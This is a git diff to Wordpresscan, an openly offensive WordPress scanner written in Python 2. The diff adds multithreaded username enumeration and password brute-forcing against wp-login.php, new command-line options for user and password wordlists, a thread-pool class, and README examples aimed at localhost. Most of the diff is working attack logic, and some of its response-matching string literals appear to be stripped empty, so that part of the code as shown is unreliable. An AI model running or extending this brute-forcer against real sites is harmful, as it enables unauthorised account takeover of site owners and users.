diff --git a/README.md b/README.md
index e2267b7..c5ab4b6 100644
--- a/README.md
+++ b/README.md
@@ -33,18 +33,23 @@ python main.py -u "http://localhost/wordpress" --update --random-agent
```
Example 2 : Basic bruteforce (option --brute, option --nocheck)
+* bruteforce customs usernames
+```
+python main.py -u "http://127.0.0.1/wordpress/" --brute --usernames "admin,guest" --passwords-list fuzz/wordlist.lst
+```
+* bruteforce with usernames list
+```
+python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst
+```
+* bruteforce detected users
+```
+python main.py -u "http://127.0.0.1/wordpress/" --brute --passwords-list fuzz/wordlist.lst
```
-python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst
-python main.py -u "http://127.0.0.1/wordpress/" --brute admin
-
---brute file.lst : Will bruteforce every username and their password
---brute username : Will bruteforce the password for the given username
-it will also try to bruteforce the password for the detected users.
-
+```
â•â”€ 👻 swissky@crashlab: ~/Github/Wordpresscan ‹master*›
-╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst --nocheck
+╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst --nocheck
_______________________________________________________________
_ _ _
| | | | | |
diff --git a/engine/brute.py b/engine/brute.py
index c083cd8..d54dea5 100644
--- a/engine/brute.py
+++ b/engine/brute.py
@@ -8,66 +8,109 @@ import urllib
from core import *
from wordpress import *
-from multiprocessing import Process, Pool
+from thread_engine import ThreadEngine
class Brute_Engine:
- def __init__(self, wordpress, brute):
- if brute != None:
+ def __init__(self, wordpress, brute, usernames, users_list, passwords_list):
+ if brute:
+ if usernames:
+ users_to_brute = usernames.split(',')
+ for user in users_to_brute:
+ user = user.replace(' ', '')
+ print notice("Bruteforcing " + user)
+ self.bruteforcing_pass(wordpress, user, passwords_list)
- # Bruteforce username
- if os.path.isfile(brute):
- self.bruteforcing_user(wordpress)
+ # Bruteforce with usernames list
+ elif users_list:
+ for file_list in [users_list, passwords_list]:
+ if not os.path.isfile(file_list):
+ print critical("Can't found %s file" % file_list)
+ exit()
+ # launch users & passwords bruteforce
+ self.bruteforcing_user(wordpress, users_list, passwords_list)
+
+ # if users detected, bruteforce them
else:
if len(wordpress.users) != 0:
- print notice("Bruteforcing detected users")
+ if not os.path.isfile(passwords_list):
+ print critical("Can't found %s file" % passwords_list)
+ exit()
+
+ print notice("Bruteforcing detected users: ")
for user in wordpress.users:
print info("User found "+ user['slug'])
- self.bruteforcing_pass(wordpress, user['slug'])
+ self.bruteforcing_pass(wordpress, user['slug'], passwords_list)
- else:
- print notice("Bruteforcing " + brute)
- print info("User found "+ brute)
- self.bruteforcing_pass(wordpress, brute)
-
- # Exit the bruteforce
- exit()
"""
name : bruteforcing_user(self, wordpress)
description :
"""
- def bruteforcing_user(self, wordpress):
+ def bruteforcing_user(self, wordpress, users_list, passwords_list):
print notice("Bruteforcing all users")
- with open('fuzz/wordlist.lst') as data_file:
+ with open(users_list) as data_file:
data = data_file.readlines()
+ thread_engine = ThreadEngine(wordpress.max_threads)
+ users_found = []
for user in data:
user = user.strip()
- data = {"log":user, "pwd":"wordpresscan"}
- if not "Invalid username" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text:
- print info("User found "+ user)
- self.bruteforcing_pass(wordpress, user)
+ thread_engine.new_task(self.check_user, (user, users_found, wordpress))
+ thread_engine.wait()
+
+ for user in users_found:
+ self.bruteforcing_pass(wordpress, user, passwords_list)
+
+
+ def check_user(self, user, users_found, wordpress):
+ data = {"log":user, "pwd":"wordpresscan"}
+ while True:
+ try:
+ html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text
+ except:
+ print critical('ConnectionError in thread, retry...')
+ continue
+ break
+ # valid login -> the submited user is printed by WP
+ if '
' in html and '
%s' % user in html:
+ print info("User found "+ user)
+ users_found.append(user)
+
"""
name : bruteforcing_pass(self, wordpress)
description :
"""
- def bruteforcing_pass(self, wordpress, user):
+ def bruteforcing_pass(self, wordpress, user, passwords_list):
print info("Starting passwords bruteforce for " + user)
- with open('fuzz/wordlist.lst') as data_file:
+ with open(passwords_list) as data_file:
data = data_file.readlines()
size = len(data)
+ thread_engine = ThreadEngine(wordpress.max_threads)
+ found = [False]
for index, pwd in enumerate(data):
+ if found[0]: break
pwd = pwd.strip()
- data = {"log": user, "pwd": pwd}
percent = int(float(index)/(size)*100)
+ thread_engine.new_task(self.check_pass, (user, pwd, wordpress, found))
- print 'Bruteforcing - {}{}\r'.format( percent*"â–“", (100-percent)*'â–‘' ) ,
+ # print 'Bruteforcing - {}{}\r'.format( percent*"â–“", (100-percent)*'â–‘' )
+ thread_engine.wait()
- if not "The password you entered" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text:
- print warning("Password found for {} : {}{}".format(user,pwd, ' '*100))
- break
+
+ def check_pass(self, user, pwd, wordpress, found):
+ data = {"log": user, "pwd": pwd}
+ while True:
+ try:
+ html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text
+ except:
+ print critical('ConnectionError in thread, retry...')
+ continue
+ break
+ if not '
' in html:
+ print warning("Password found for {} : {}{}".format(user,pwd, ' '*100))
+ found[0] = True
diff --git a/engine/thread_engine.py b/engine/thread_engine.py
new file mode 100644
index 0000000..ff31d1e
--- /dev/null
+++ b/engine/thread_engine.py
@@ -0,0 +1,51 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+from threading import Thread
+# from time import sleep
+from core import critical, info
+
+
+class ThreadEngine(object):
+ def __init__(self, max_threads):
+ if max_threads < 1:
+ print critical('Threads number must be > 0')
+ exit()
+ self.max_threads = max_threads
+ self.threads = []
+ print info('Start %d threads ...' % self.max_threads)
+
+ def new_task(self, task, args):
+ """ Try to launch the new task,
+ try again if thread limit exception raised
+ """
+ while True:
+ try:
+ self.launch_task(task, args)
+ except ThreadLimitError:
+ # sleep(0.1)
+ continue
+ break
+
+ def launch_task(self, task, args):
+ """ Lanch task in a new thread """
+ self.clean_threads()
+ if len(self.threads) < self.max_threads:
+ t = Thread(target=task, args=args)
+ self.threads.append(t)
+ t.start()
+ else:
+ raise ThreadLimitError("Reached threads limit")
+
+ def clean_threads(self):
+ """ Remove ended threads """
+ for thread in self.threads:
+ if not thread.isAlive():
+ self.threads.remove(thread)
+
+ def wait(self):
+ """ Wait for threads end """
+ for thread in self.threads:
+ thread.join()
+
+class ThreadLimitError(Exception):
+ pass
diff --git a/engine/wordpress.py b/engine/wordpress.py
index c40d512..4b14888 100644
--- a/engine/wordpress.py
+++ b/engine/wordpress.py
@@ -15,10 +15,11 @@ class Wordpress:
agent = False
users = {}
- def __init__(self, url, user_agent, nocheck):
+ def __init__(self, url, user_agent, nocheck, max_threads):
print info("URL: %s" % url)
self.url = url
self.agent = user_agent
+ self.max_threads = int(max_threads)
self.random_agent()
self.clean_url()
self.is_up_and_installed()
diff --git a/main.py b/main.py
index c1ef3c8..64ddbd4 100644
--- a/main.py
+++ b/main.py
@@ -29,9 +29,13 @@ if __name__ == "__main__":
parser.add_argument('--update', action ='store_const', const='update', dest='update', help="Update the database")
parser.add_argument('--aggressive', action ='store_const', const='aggressive', dest='aggressive', default=False, help="Aggressive scan for plugins/themes")
parser.add_argument('--fuzz', action ='store_const', const='fuzz', dest='fuzz', default=False, help="Fuzz the files")
- parser.add_argument('--brute', action ='store', dest='brute', default=None, help="Bruteforce users and passwords")
+ parser.add_argument('--brute', action ='store_const', const='brute', dest='brute', default=False, help="Bruteforce users and passwords")
parser.add_argument('--nocheck', action ='store_const', const='nocheck',dest='nocheck', default=False, help="Check for a Wordpress instance")
parser.add_argument('--random-agent', action ='store_const', const='random_agent', dest='random_agent', default=False, help="Random User-Agent")
+ parser.add_argument('--threads', action ='store', dest='max_threads', default=1, help="Number of threads to use")
+ parser.add_argument('--usernames', action ='store', dest='usernames', default='', help="Usernames to bruteforce")
+ parser.add_argument('--users-list', action ='store', dest='users_list', default=None, help="Users list for bruteforce")
+ parser.add_argument('--passwords-list', action ='store', dest='passwords_list', default=None, help="Passwords list for bruteforce")
results = parser.parse_args()
# Check wordpress url
@@ -45,10 +49,10 @@ if __name__ == "__main__":
database_update()
# Build a new wordpress object
- wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck)
+ wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck, results.max_threads)
# Launch bruteforce
- Brute_Engine(wp, results.brute)
+ Brute_Engine(wp, results.brute, results.usernames, results.users_list, results.passwords_list)
# Launch fuzzing
Fuzz_Engine(wp, results.fuzz)